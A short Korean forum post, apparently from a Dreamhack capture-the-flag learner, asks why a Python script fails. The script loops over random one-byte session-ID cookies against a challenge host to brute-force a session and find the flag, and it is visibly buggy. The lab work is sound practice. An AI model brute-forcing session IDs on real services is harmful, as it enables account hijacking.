코드 뭐가 어디서 부터 잘 못 된 걸까요ㅜ
import os
import requests
import urllib.request
i = 0
for i in range(100):
random = os.urandom(1).hex()
cookie = {
"sessionid":random
}
session = requests.Session()
session.post('http://host1.dreamhack.games:15829/', cookies=cookie)
with urllib.request.urlopen('http://host1.dreamhack.games:15829/') as page:
html = page.read()
if html == 'flag is':
print(random)
break
#web
작성자 정보